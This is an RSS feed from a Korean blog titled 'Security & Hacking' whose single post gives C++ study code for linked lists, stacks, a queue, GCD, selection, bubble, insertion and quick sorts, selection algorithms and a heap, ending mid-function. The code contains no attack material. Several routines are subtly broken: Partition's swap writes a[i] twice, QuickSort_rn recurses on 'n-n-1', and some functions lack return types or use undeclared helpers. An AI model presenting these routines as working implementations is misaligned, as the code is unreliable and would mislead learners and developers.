<?xml version="1.0" encoding="utf-8" ?>
<?xml-stylesheet href="http://rss.egloos.com/style/blog.xsl" type="text/xsl" media="screen"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
	<title>Security &amp; Hacking</title>
	<link>http://univac.egloos.com</link>
	<description>hava been studying in this class
want to be a student.
</description>
	<language>ko</language>
	<pubDate>Thu, 12 Feb 2009 13:10:59 GMT</pubDate>
	<generator>Egloos</generator>
	<image>
		<title>Security &amp; Hacking</title>
		<url>http://pds7.egloos.com/logo/200804/25/73/e0015573.jpg</url>
		<link>http://univac.egloos.com</link>
		<width>80</width>
		<height>60</height>
		<description>hava been studying in this class
want to be a student.
</description>
	</image>
  	<item>
		<title><![CDATA[ [C++]기초알고리즘 Basic Algorithms ]]> </title>
		<link>http://univac.egloos.com/2271513</link>
		<guid>http://univac.egloos.com/2271513</guid>
		<description>
			<![CDATA[ 
  <p>김재규님의 C++강좌를 보고 구현한 것입니다. <br>강의에 누락된 부분은 임이적으로 구현한 부분이 있으니 조심^^;<br><br><br>I've been studying the algorithms with Kim's lecture.<br>followings are results of that.<br><br>/*<br>virtual function 의 기능<br>&nbsp;코드의 간결화<br>&nbsp;하위클래스에서 정의한 함수를 상위 로직에 이용할 수있게 해줌</p><p>friend 의 기능<br>&nbsp;private자원에 대한 접근을 허용</p><p>*/</p><p><br>#include&lt;iostream&gt;<br>#include&lt;string&gt;<br>#include&lt;sstream&gt;<br>#include&lt;map&gt;</p><p>using namespace std;<br>typedef void* POS;<br>/*<br>&nbsp;Single Linked List<br>*/<br>template &lt;class T&gt; class SingleList{<br>&nbsp;enum Exception{<br>&nbsp;&nbsp;INVALID_POS,<br>&nbsp;&nbsp;EMPTY_SingleList<br>&nbsp;};<br>&nbsp;struct Node {<br>&nbsp;&nbsp;T data;<br>&nbsp;&nbsp;Node *next;<br>&nbsp;};<br>public:<br>&nbsp;_init();</p><p>&nbsp;SingleList();<br>&nbsp;~SingleList();<br>&nbsp;// basic operation<br>&nbsp;bool IsEmpty(){ return m_nCount == 0;}<br>&nbsp;int GetCount(){ return m_nCount;}<br>&nbsp;RemoveAll(void);<br>&nbsp;T RemoveNext(POS pos);<br>&nbsp;POS InsertNext(POS pos,const T&amp; data);<br>//&nbsp;bool IsValid(POS pos){return true;}</p><p>&nbsp;//head operation</p><p>&nbsp;T RemoveHead(){return RemoveNext(m_pHead);} <br>&nbsp;POS InsertHead(const T&amp; data);<br>&nbsp;T&amp; GetHead();<br>&nbsp;POS GetHeadPos() const { return m_pHead-&gt;next; };<br>&nbsp;bool GetNext(POS&amp; pos,T&amp; value) ;<br>private:<br>&nbsp;Node *m_pHead;<br>&nbsp;Node *m_pTail;<br>&nbsp;int m_nCount;<br>};<br>template &lt;class T&gt; SingleList&lt;T&gt;::_init()<br>{<br>&nbsp;m_pHead = new Node;<br>&nbsp;m_pTail = new Node;<br>&nbsp;m_pHead-&gt;next = m_pTail;<br>&nbsp;m_pTail-&gt;next = m_pTail;<br>&nbsp;m_nCount = 0;<br>}<br>template &lt;class T&gt; SingleList&lt;T&gt;::SingleList()<br>{<br>&nbsp;_init();<br>}<br>template &lt;class T&gt; SingleList&lt;T&gt;::~SingleList()<br>{<br>&nbsp;RemoveAll();<br>}<br>template &lt;class T&gt; SingleList&lt;T&gt;::RemoveAll()<br>{<br>&nbsp;Node *t = m_pHead-&gt;next, *p;<br>&nbsp;while(t != m_pTail)<br>&nbsp;{<br>&nbsp;&nbsp;p = t;<br>&nbsp;&nbsp;t = t-&gt;next;<br>&nbsp;&nbsp;delete p;<br>&nbsp;}<br>&nbsp;m_pHead-&gt;next = m_pTail;</p><p>}<br>template &lt;class T&gt; <br>POS SingleList&lt;T&gt;::InsertNext(POS pos, const T&amp; data)<br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if(pNode == 0) return 0;<br>&nbsp;if(pNode == m_pTail) return 0;</p><p>&nbsp;Node *pNewNode = new Node;<br>&nbsp;pNewNode-&gt;data = data;<br>&nbsp;pNewNode-&gt;next = pNode-&gt;next;<br>&nbsp;pNode-&gt;next = pNewNode;</p><p>&nbsp;m_nCount ++;</p><p>&nbsp;return pNewNode;<br>}<br>template &lt;class T&gt;<br>POS SingleList&lt;T&gt;::InsertHead(const T&amp; data)<br>{<br>&nbsp;return InsertNext(m_pHead,data);<br>}<br>template &lt;class T&gt; <br>T SingleList&lt;T&gt;::RemoveNext(POS pos)<br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if(pNode == 0)<br>&nbsp;&nbsp;throw INVALID_POS;<br>&nbsp;if(pNode-&gt;next == m_pTail)<br>&nbsp;&nbsp;throw INVALID_POS;<br>&nbsp;<br>&nbsp;Node *pNodeDel = pNode-&gt;next;<br>&nbsp;pNode-&gt;next = pNode-&gt;next-&gt;next;</p><p>&nbsp;T rt = pNodeDel-&gt;data;<br>&nbsp;delete pNodeDel;</p><p>&nbsp;m_nCount --;</p><p>&nbsp;return rt;<br>}<br>template &lt;class T&gt; <br>bool SingleList&lt;T&gt;::GetNext(POS&amp; pos,T&amp; value) <br>{ <br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if(pNode == 0 || pNode == m_pTail ) <br>&nbsp;&nbsp;return false;//&nbsp;throw INVALID_POS;<br>&nbsp;<br>&nbsp;pos = (POS)((Node*)pos)-&gt;next;<br>&nbsp;value = pNode-&gt;data;<br>&nbsp;return true;<br>}</p><p>/*<br>&nbsp;Double Linked List<br>*/</p><p>template &lt;class T&gt; class DoubleList{<br>public:<br>&nbsp;enum Exception{<br>&nbsp;&nbsp;INVALID_POS,<br>&nbsp;&nbsp;EMPTY_DoubleList<br>&nbsp;};<br>&nbsp;struct Node {<br>&nbsp;&nbsp;T data;<br>&nbsp;&nbsp;Node *next;<br>&nbsp;&nbsp;Node *prev;<br>&nbsp;};<br>public:<br>&nbsp;_init();</p><p>&nbsp;DoubleList();<br>&nbsp;~DoubleList();<br>&nbsp;// basic operation<br>&nbsp;bool IsEmpty(){ return m_nCount == 0;}<br>&nbsp;int GetCount() const { return m_nCount;}<br>&nbsp;RemoveAll(void);<br>&nbsp;T RemoveNext(POS pos);<br>&nbsp;T RemovePrev(POS pos);<br>&nbsp;POS InsertNext(POS pos,const T&amp; data);<br>&nbsp;POS InsertPrev(POS pos,const T&amp; data);<br>&nbsp;bool IsValid(POS pos){return true;}</p><p>&nbsp;//head operation<br>&nbsp;T RemoveHead() { return RemoveNext(m_pHead); }<br>&nbsp;POS InsertHead(const T&amp; data) { return InsertNext(m_pHead,data); }<br>&nbsp;T&amp; GetHead();<br>&nbsp;POS GetHeadPos() const { return (POS)m_pHead-&gt;next; }</p><p>&nbsp;//tail operation<br>&nbsp;T RemoveTail(){return RemovePrev(m_pTail);}<br>&nbsp;POS InsertTail(const T&amp; data) { return InsertPrev(m_pTail,data); }<br>&nbsp;void AddTail(const T&amp; data) { InsertPrev(m_pTail,data); }<br>&nbsp;bool IsTail(const POS&amp; pos) const { return m_pTail == (Node*)pos; } </p><p>&nbsp;// additional operation<br>&nbsp;bool Find(const T&amp; key, T&amp; value);<br>&nbsp;bool GetAt(const POS pos,T&amp; value) const;<br>&nbsp;bool GetNext(POS&amp; pos,T&amp; value) const;&nbsp; <br>&nbsp;bool DeleteAt(POS pos);</p><p>&nbsp;// operator<br>&nbsp;const DoubleList&lt;T&gt;&amp; operator=(const DoubleList&lt;T&gt;&amp; list);</p><p>private:<br>&nbsp;Node *m_pHead;<br>&nbsp;Node *m_pTail;<br>&nbsp;int m_nCount;<br>public:<br>&nbsp;bool _find(const T&amp; key, POS&amp; pos) const;<br>&nbsp;//friend&nbsp; class ListSeqMap;<br>};<br>template &lt;class T&gt; DoubleList&lt;T&gt;::_init()<br>{<br>&nbsp;m_pHead = new Node;<br>&nbsp;m_pTail = new Node;<br>&nbsp;m_pHead-&gt;next = m_pTail;<br>&nbsp;m_pHead-&gt;prev = m_pHead;<br>&nbsp;m_pTail-&gt;next = m_pTail;<br>&nbsp;m_pTail-&gt;prev = m_pHead;<br>&nbsp;m_nCount = 0;<br>}<br>template &lt;class T&gt; DoubleList&lt;T&gt;::DoubleList()<br>{<br>&nbsp;_init();<br>}<br>template &lt;class T&gt; DoubleList&lt;T&gt;::~DoubleList()<br>{<br>&nbsp;RemoveAll();<br>}<br>template &lt;class T&gt; DoubleList&lt;T&gt;::RemoveAll()<br>{<br>&nbsp;Node *t = m_pHead-&gt;next,*p;<br>&nbsp;while(t != m_pTail){<br>&nbsp;&nbsp;p = t;<br>&nbsp;&nbsp;t = t-&gt;next;<br>&nbsp;&nbsp;delete p;<br>&nbsp;}<br>&nbsp;m_pHead-&gt;next = m_pTail;<br>&nbsp;m_pHead-&gt;prev = m_pHead;<br>&nbsp;m_pTail-&gt;next = m_pTail;<br>&nbsp;m_pTail-&gt;prev = m_pHead;</p><p>&nbsp;m_nCount = 0;</p><p>}<br>template &lt;class T&gt;<br>const DoubleList&lt;T&gt;&amp; DoubleList&lt;T&gt;::operator=(const DoubleList&lt;T&gt;&amp; list)<br>{<br>&nbsp;T t;<br>&nbsp;POS pos = list.GetHeadPos();<br>&nbsp;while ( !list.IsTail(pos) ) {<br>&nbsp;&nbsp;list.GetAt(pos,t);<br>&nbsp;&nbsp;InsertTail(t);<br>&nbsp;&nbsp;list.GetNext(pos,t);<br>&nbsp;}<br>&nbsp;return *this;<br>}<br>template &lt;class T&gt;<br>bool DoubleList&lt;T&gt;::Find(const T&amp; key, T&amp; value) <br>{<br>&nbsp;POS pos;<br>&nbsp;if(!_find(key,pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;value = GetAt(pos);<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool DoubleList&lt;T&gt;::_find(const T&amp; key, POS&amp; pos) const<br>{<br>&nbsp;for (Node *t = m_pHead-&gt;next; t != m_pTail ; t = t-&gt;next ) <br>&nbsp;{<br>&nbsp;&nbsp;if (t-&gt;data == key) { <br>&nbsp;&nbsp;&nbsp;pos = (POS)t;<br>&nbsp;&nbsp;&nbsp;return true;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;return false;</p><p>}<br>template &lt;class T&gt;<br>bool DoubleList&lt;T&gt;::GetAt(const POS pos, T&amp; value) const <br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if (pos == 0 || pos == m_pHead || pos == m_pTail)<br>&nbsp;&nbsp;return false;<br>&nbsp;value = pNode-&gt;data;</p><p>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool DoubleList&lt;T&gt;::GetNext(POS&amp; pos,T&amp; value) const<br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if (pos == 0 || pos == m_pTail)<br>&nbsp;&nbsp;return false;</p><p>&nbsp;pos = (POS)pNode-&gt;next;<br>&nbsp;value = pNode-&gt;next-&gt;data;<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool DoubleList&lt;T&gt;::DeleteAt(POS pos)<br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if (pos == 0 || pos == m_pHead || pos == m_pTail)<br>&nbsp;&nbsp;return false;<br>&nbsp;<br>&nbsp;pNode-&gt;next-&gt;prev = pNode-&gt;prev;<br>&nbsp;pNode-&gt;prev-&gt;next = pNode-&gt;next;</p><p>&nbsp;m_nCount --;<br>&nbsp;delete pNode;<br>&nbsp;return true;<br>}<br>template &lt;class T&gt; <br>POS DoubleList&lt;T&gt;::InsertNext(POS pos, const T&amp; data)<br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if(pNode == 0) return 0;<br>&nbsp;if(pNode == m_pTail) return 0;</p><p>&nbsp;Node *pNewNode = new Node;<br>&nbsp;pNewNode-&gt;data = data;</p><p>&nbsp;pNewNode-&gt;next = pNode-&gt;next;<br>&nbsp;pNewNode-&gt;prev = pNode;<br>&nbsp;pNewNode-&gt;next-&gt;prev = pNewNode;<br>&nbsp;pNode-&gt;next = pNewNode;</p><p>&nbsp;m_nCount ++;</p><p>&nbsp;return pNewNode;<br>}</p><p>template &lt;class T&gt; <br>T DoubleList&lt;T&gt;::RemoveNext(POS pos)<br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if(pNode == 0)<br>&nbsp;&nbsp;throw INVALID_POS;<br>&nbsp;if(pNode-&gt;next == m_pTail)<br>&nbsp;&nbsp;throw INVALID_POS;<br>&nbsp;<br>&nbsp;Node *pNodeDel = pNode-&gt;next;<br>&nbsp;pNode-&gt;next = pNode-&gt;next-&gt;next;<br>&nbsp;pNodeDel-&gt;next-&gt;prev = pNode;</p><p>&nbsp;T rt = pNodeDel-&gt;data;<br>&nbsp;delete pNodeDel;</p><p>&nbsp;m_nCount --;</p><p>&nbsp;return rt;<br>}<br>template &lt;class T&gt; <br>POS DoubleList&lt;T&gt;::InsertPrev(POS pos, const T&amp; data)<br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if(pNode == 0) return 0;<br>&nbsp;if(pNode == m_pHead) return 0;</p><p>&nbsp;Node *pNewNode = new Node;<br>&nbsp;pNewNode-&gt;data = data;</p><p>&nbsp;pNewNode-&gt;next = pNode;<br>&nbsp;pNewNode-&gt;prev = pNode-&gt;prev;<br>&nbsp;pNewNode-&gt;next-&gt;prev = pNewNode;<br>&nbsp;pNewNode-&gt;prev-&gt;next = pNewNode;</p><p>&nbsp;m_nCount ++;</p><p>&nbsp;return pNewNode;<br>}</p><p>template &lt;class T&gt; <br>T DoubleList&lt;T&gt;::RemovePrev(POS pos)<br>{<br>&nbsp;Node *pNode = (Node*) pos;<br>&nbsp;if(pNode == 0)<br>&nbsp;&nbsp;throw INVALID_POS;<br>&nbsp;if(pNode-&gt;prev == m_pHead)<br>&nbsp;&nbsp;throw INVALID_POS;<br>&nbsp;<br>&nbsp;Node *pNodeDel = pNode-&gt;prev;<br>&nbsp;pNodeDel-&gt;prev-&gt;next = pNode;<br>&nbsp;pNode-&gt;prev = pNodeDel-&gt;prev;<br>&nbsp;T rt = pNodeDel-&gt;data;<br>&nbsp;delete pNodeDel;</p><p>&nbsp;m_nCount --;</p><p>&nbsp;return rt;<br>}</p><p><br>template &lt;class T&gt; class ListQueue{<br>public:<br>&nbsp;ListQueue(){};<br>&nbsp;POS Put(const T&amp; data);<br>&nbsp;T Get();<br>&nbsp;bool IsEmpty(){return m_list.IsEmpty();}<br>private:<br>&nbsp;DoubleList&lt;T&gt; m_list;<br>};<br>template &lt;class T&gt;<br>POS ListQueue&lt;T&gt;::Put(const T&amp; data)<br>{<br>&nbsp;return m_list.InsertHead(data);<br>}<br>template &lt;class T&gt;<br>T ListQueue&lt;T&gt;::Get()<br>{<br>&nbsp;return m_list.RemoveTail();<br>}</p><p>template &lt;class T&gt; class ListStack{<br>public:<br>&nbsp;ListStack(){}<br>//&nbsp;~ListStack();<br>&nbsp;POS Push(const T&amp; data);<br>&nbsp;T Pop();<br>&nbsp;bool IsEmpty() {return m_list.IsEmpty();};</p><p>private:<br>&nbsp;SingleList&lt;T&gt; m_list;<br>};<br>template &lt;class T&gt;<br>POS ListStack&lt;T&gt;::Push(const T&amp; data)<br>{<br>&nbsp;return m_list.InsertHead(data);<br>}<br>template &lt;class T&gt;<br>T ListStack&lt;T&gt;::Pop()<br>{<br>&nbsp;return m_list.RemoveHead();<br>}</p><p>template &lt;class T&gt; class ArrayStack{<br>public:<br>&nbsp;ArrayStack(int array_size);<br>&nbsp;~ArrayStack();<br>&nbsp;Push(const T&amp; data);<br>&nbsp;T Pop();<br>&nbsp;bool IsEmpty() { return (m_nTop == -1);}<br>private:<br>&nbsp;T *m_pArray;<br>&nbsp;int m_nTop;<br>&nbsp;int m_nLen;<br>};<br>template &lt;class T&gt; ArrayStack&lt;T&gt;::ArrayStack(int array_size)<br>{<br>&nbsp;m_pArray = new T[array_size];<br>&nbsp;m_nTop = -1;<br>&nbsp;m_nLen = array_size;<br>}<br>template &lt;class T&gt; ArrayStack&lt;T&gt;::~ArrayStack()<br>{<br>&nbsp;if(m_pArray)<br>&nbsp;&nbsp;delete []m_pArray;<br>}<br>template &lt;class T&gt; T ArrayStack&lt;T&gt;::Pop()<br>{<br>&nbsp;if(!IsEmpty())<br>&nbsp;&nbsp;return m_pArray[m_nTop--];<br>&nbsp;throw "ERROR STACK UNDER FLOW";<br>}<br>template &lt;class T&gt; ArrayStack&lt;T&gt;::Push(const T&amp; data)<br>{<br>&nbsp;if(m_nTop &lt; m_nLen -1 )<br>&nbsp;{<br>&nbsp;&nbsp;m_pArray[++m_nTop] = data;<br>&nbsp;}<br>&nbsp;else <br>&nbsp;&nbsp;throw "ERROR STACK OVER FLOW";<br>}<br>/*<br>&nbsp;toLong <br>*/<br>long toLong(string s)<br>{<br>&nbsp;long r = 0;<br>&nbsp;istringstream ss(s);<br>&nbsp;ss &gt;&gt; r;<br>&nbsp;return r;<br>}<br>/*<br>&nbsp;toString<br>*/<br>string toString(long n)<br>{<br>&nbsp;ostringstream ss;<br>&nbsp;ss &lt;&lt; n;<br>&nbsp;return ss.str();<br>}</p><p>/*<br>&nbsp;Greatest Common Divisor<br>*/<br>int gcd(int a, int b)<br>{<br>&nbsp;while (b&gt;0){<br>&nbsp;&nbsp;int t = a % b;<br>&nbsp;&nbsp;a = b;<br>&nbsp;&nbsp;b = t;<br>&nbsp;}<br>&nbsp;return a;<br>}<br>template &lt;class T&gt; void SelectionSort(T a[], int n)<br>{<br>&nbsp;T min;<br>&nbsp;int minindex;<br>&nbsp;int i,j;<br>&nbsp;for( i=0; i&lt; n-1; i++)<br>&nbsp;{<br>&nbsp;&nbsp;minindex = i;<br>&nbsp;&nbsp;min = a[i];<br>&nbsp;&nbsp;for ( j = i+1; j&lt;n; j++)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;if(min &gt; a[j])<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;min&nbsp; = a[j];<br>&nbsp;&nbsp;&nbsp;&nbsp;minindex =j;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;a[minindex] = a[i];<br>&nbsp;&nbsp;a[i] = min;<br>&nbsp;}<br>}</p><p>class MyClass<br>{<br>public:<br>&nbsp;MyClass();<br>&nbsp;MyClass(const MyClass&amp; c);<br>&nbsp;bool operator==(const MyClass&amp; c);<br>&nbsp;bool operator&gt;(const MyClass&amp; c);<br>};<br>template &lt;class T&gt; void InsertionSrt(T a[], int n)<br>{<br>&nbsp;int i,j;<br>&nbsp;T t;<br>&nbsp;for (i = 1; i &lt; n ; i++)<br>&nbsp;{<br>&nbsp;&nbsp;t = a[i];<br>&nbsp;&nbsp;j = i;<br>&nbsp;&nbsp;while (a[j-1]&gt; t &amp;&amp; j&gt;0)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;a[j] = a[j-1];<br>&nbsp;&nbsp;&nbsp;j--;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;a[j] = t;<br>&nbsp;}<br>}<br>template &lt;class T&gt; void BubbleSort(T a[], int n)<br>{<br>&nbsp;int i,j;<br>&nbsp;for(i=0;i&lt;n-1;i++)<br>&nbsp;&nbsp;for(j=1;j&lt;n-i;j++)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;if(a[j-1]&gt;a[j]){<br>&nbsp;&nbsp;&nbsp;&nbsp;T t = a[j-1];<br>&nbsp;&nbsp;&nbsp;&nbsp;a[j-1] = a[j];<br>&nbsp;&nbsp;&nbsp;&nbsp;a[j] = t;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}</p><p>template &lt;class T&gt; void BubbleSort1(T a[], int n)<br>{<br>&nbsp;int i,j;<br>&nbsp;for(i=0;i&lt;n;i++)<br>&nbsp;&nbsp;for(j=i+1;j&lt;n;j++)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;if(a[i]&gt;a[j]){<br>&nbsp;&nbsp;&nbsp;&nbsp;T t = a[i];<br>&nbsp;&nbsp;&nbsp;&nbsp;a[i] = a[j];<br>&nbsp;&nbsp;&nbsp;&nbsp;a[j] = t;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}<br>template &lt;class T&gt; int Partition(T a[], int n)<br>{<br>&nbsp;T v, t;<br>&nbsp;int i,j;<br>&nbsp;v = a[n-1];<br>&nbsp;i = -1;<br>&nbsp;j = n -1;<br>&nbsp;while (true)<br>&nbsp;{<br>&nbsp;&nbsp;while (a[++i] &lt; v);<br>&nbsp;&nbsp;while (a[--j] &gt; v);<br>&nbsp;&nbsp;if (i &gt;= j) break;<br>&nbsp;&nbsp;t = a[i]; a[i] = a[j]; a[i] =t;</p><p>&nbsp;}<br>&nbsp;t = a[i]; a[i] = a[n-1]; a[n-1] =t;<br>&nbsp;return i;<br>}<br>template &lt;class T&gt; void QuickSort(T a[], int n)<br>{<br>&nbsp;int i;<br>&nbsp;if(n&gt;1){<br>&nbsp;&nbsp;i = Partition(a,n);<br>&nbsp;&nbsp;QuickSort(a,i);<br>&nbsp;&nbsp;QuickSort(a+i+1,n-i-1);<br>&nbsp;}<br>}<br>// 난수분할<br>template &lt;class T&gt; void QuickSort_rn(T a[], int n)<br>{<br>&nbsp;if(n&gt;1)<br>&nbsp;{<br>&nbsp;&nbsp;pivot = GetRandom(n);<br>&nbsp;&nbsp;Exchange(a[pivot],a[n-1]);<br>&nbsp;&nbsp;i = Partition(a,n);<br>&nbsp;&nbsp;QuickSort_rn(a,i);<br>&nbsp;&nbsp;QuickSort_rn(a+i+1,n-n-1);<br>&nbsp;}<br>}<br>// Median of three partition<br>template &lt;class T&gt; void QuickSort_median(T a[], int n)<br>{<br>&nbsp;int i;<br>&nbsp;if(n &gt; 3)<br>&nbsp;{<br>&nbsp;&nbsp;SortThree(a[0],a[n/2],a[n-1]);<br>&nbsp;&nbsp;pivot = a[n/2];<br>&nbsp;&nbsp;Exchange(a[pivot], a[n-2]);<br>&nbsp;&nbsp;i = Partition(a+1,n-2);<br>&nbsp;&nbsp;QuickSort_median(a+1, n-2);<br>&nbsp;&nbsp;QuickSort_median(a+i+2,n-i-2);<br>&nbsp;}<br>&nbsp;else<br>&nbsp;{<br>&nbsp;&nbsp;SortThree(a[0],a[n/2],a[n-1]);<br>&nbsp;}<br>}<br>//Median of three partition + insert <br>template &lt;class T&gt;<br>void QuickSort_sub(T a[], int n)<br>{<br>&nbsp;int i;<br>&nbsp;if(n &gt; 200)<br>&nbsp;{<br>&nbsp;&nbsp;i = Partition(a+1,n-2);<br>&nbsp;&nbsp;QuickSort_sub(a+1,i-1);<br>&nbsp;&nbsp;QuickSort_sub(a+i+1,n-i-2);<br>&nbsp;}<br>&nbsp;else<br>&nbsp;{<br>&nbsp;&nbsp;InsertionSort(a,n);<br>&nbsp;}<br>}</p><p>template &lt;class T&gt; void QuickSort_nr(T a[], int n)<br>{<br>&nbsp;T v, t;<br>&nbsp;int i,j;<br>&nbsp;int l,r;<br>&nbsp;ListStack&lt;int&gt; stack;<br>&nbsp;l = 0;<br>&nbsp;r = n-1;<br>&nbsp;stack.Push(r);<br>&nbsp;stack.Push(l);<br>&nbsp;while (!stack.IsEmpty())<br>&nbsp;{<br>&nbsp;&nbsp;l = stack.Pop();<br>&nbsp;&nbsp;r = stack.Pop();<br>&nbsp;&nbsp;if(r-l+1 &gt; 1) // <br>&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;v = a[r];<br>&nbsp;&nbsp;&nbsp;i = l - 1;<br>&nbsp;&nbsp;&nbsp;j = r;<br>&nbsp;&nbsp;&nbsp;while(true)<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;while (a[++i] &lt; v);<br>&nbsp;&nbsp;&nbsp;&nbsp;while (a[--j] &gt; v);<br>&nbsp;&nbsp;&nbsp;&nbsp;if(i &gt;= j) break;<br>&nbsp;&nbsp;&nbsp;&nbsp;t = a[i]; a[i] = a[j]; a[j] = t;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;t = a[i]; a[i] = a[r]; a[r] = t;<br>&nbsp;&nbsp;&nbsp;stack.Push(r);<br>&nbsp;&nbsp;&nbsp;stack.Push(i+1);<br>&nbsp;&nbsp;&nbsp;stack.Push(i-1);<br>&nbsp;&nbsp;&nbsp;stack.Push(l);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}<br>/*<br>&nbsp;qsort 가 stdlib.h 에 정의<br>&nbsp;다음과 같이 비교함수를 인자로..<br>*/ <br>int intcmp(const void* a, const void* b)<br>{<br>&nbsp;return (*(int*)a - *(int*)b);<br>}</p><p>// Selection Problem<br>// Selection Sort를 이용한 방법<br>template &lt;class T&gt; <br>T Select_Linear(T a[], int n, int k)<br>{<br>&nbsp;T min;<br>&nbsp;int minindex;<br>&nbsp;int i,j;<br>&nbsp;for (i=0; i&lt;n-1; i++) {<br>&nbsp;&nbsp;minindex = i;<br>&nbsp;&nbsp;min = a[i];<br>&nbsp;&nbsp;for (j = i +1; j &lt; n; j++) {<br>&nbsp;&nbsp;&nbsp;if (min &gt; a[j]){<br>&nbsp;&nbsp;&nbsp;&nbsp;min = a[j];<br>&nbsp;&nbsp;&nbsp;&nbsp;minindex = j;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;a[minindex] = a[i];<br>&nbsp;&nbsp;a[i] = min;<br>&nbsp;&nbsp;if(i == k)<br>&nbsp;&nbsp;&nbsp;return min;<br>&nbsp;}<br>&nbsp;throw "Invalid k";<br>}<br>// 분할을 이용한 반법<br>template &lt;class T&gt;<br>T Selection(T a[], int l, int r, int k)<br>{<br>&nbsp;int i;<br>&nbsp;if(r &gt; l)<br>&nbsp;{<br>&nbsp;&nbsp;i = Partition(a,l,r);<br>&nbsp;&nbsp;if(i&gt;l+k-1) Selection(a, l, i-1, k);<br>&nbsp;&nbsp;if(i&lt;l+k-1) Selection(a,i+1, r, k-i);<br>&nbsp;}<br>}</p><p>template &lt;class T&gt;<br>T Selection_Partition(T a[], int n, int k)<br>{<br>&nbsp;T v,t;<br>&nbsp;int i,j,l,r;<br>&nbsp;l = 1;<br>&nbsp;r = n;<br>&nbsp;while (r&gt;l)<br>&nbsp;{<br>&nbsp;&nbsp;v = a[r];<br>&nbsp;&nbsp;i = l -1;<br>&nbsp;&nbsp;j = r;<br>&nbsp;&nbsp;while (true)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;while (a[++i] &lt; v);<br>&nbsp;&nbsp;&nbsp;while (a[--j] &gt; v);<br>&nbsp;&nbsp;&nbsp;if (i &gt;= j) break;<br>&nbsp;&nbsp;&nbsp;t = a[i]; a[i] = a[j]; a[j] = t;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;t = a[i]; a[i] = a[r]; a[r] =t;<br>&nbsp;&nbsp;if (i &gt;= k) r = i -1;<br>&nbsp;&nbsp;if (i &lt;= k) l = i + 1;<br>&nbsp;}<br>&nbsp;return a[i];<br>}</p><p>/* <br>&nbsp;힙정렬 HeapSort <br>&nbsp;<br>&nbsp;&nbsp; 힙정렬에 사용되는 이진 트리의 조건<br>&nbsp;&nbsp; -부모노드는 자식노드보다 크다.<br>&nbsp;&nbsp; -따라서 root가 가장 큰값.<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; 부가로 메모리가 사용되지 않는다는 장점</p><p>&nbsp;<br>*/<br>template &lt;class T&gt; class Heap<br>{<br>public:<br>&nbsp;Heap();<br>&nbsp;Heap(T a[], int n);<br>&nbsp;T&amp; a(int k) { return m_pArray[k-1];}<br>&nbsp;int GetHeaplen() { return m_nHeapLen;}<br>&nbsp;void SetHeapLen(int n) { m_nHeapLen = n;}<br>&nbsp;void UpHeap(int k);<br>&nbsp;void DownHeap(int k);<br>&nbsp;void Insert(T v);<br>&nbsp;T Extract(void);<br>private:<br>&nbsp;T *m_pArray;<br>&nbsp;int m_nArrayLen;<br>&nbsp;int m_nHeapLen;<br>};<br>template &lt;class T&gt;<br>void Heap&lt;T&gt;::UpHeap(int k)<br>{<br>&nbsp;T v;<br>&nbsp;v = a(k);<br>&nbsp;while (v &gt; a(k/2) &amp;&amp; k &gt;1)<br>&nbsp;{<br>&nbsp;&nbsp;a(k) = a(k/2);<br>&nbsp;&nbsp;k /= 2;<br>&nbsp;}<br>&nbsp;a(k) = v;<br>}<br>template &lt;class T&gt; <br>void Heap&lt;T&gt;::Insert(T v)<br>{<br>&nbsp;a(++m_nHeapLen) = v;<br>&nbsp;UpHeap(m_nHeapLen);<br>}<br>template &lt;class T&gt;<br>void Heap&lt;T&gt;::DownHeap(int k)<br>{<br>&nbsp;int i;<br>&nbsp;T v;<br>&nbsp;v = a(k);<br>&nbsp;while( k&lt;= m_nHeapLen/2) {<br>&nbsp;&nbsp;i = k*2;<br>&nbsp;&nbsp;if(i &lt;m_nHeapLen &amp;&amp; a(i+1) &gt; a(i)) i++;<br>&nbsp;&nbsp;if(v &gt; a(i) || v == a(i))break;<br>&nbsp;&nbsp;a(k) = a(i);<br>&nbsp;&nbsp;k = i;<br>&nbsp;}<br>&nbsp;a(k) = v;<br>}<br>template &lt;class T&gt;<br>T Heap&lt;T&gt;::Extract(void)<br>{<br>&nbsp;T v = a(1);<br>&nbsp;a(1) = a(m_nHeapLen--);<br>&nbsp;DownHeap(1);<br>&nbsp;return v;<br>}<br>// Heap개선 상향식으로<br>template &lt;class T&gt;<br>void HeapSort_up(T a[], int n)<br>{<br>&nbsp;int 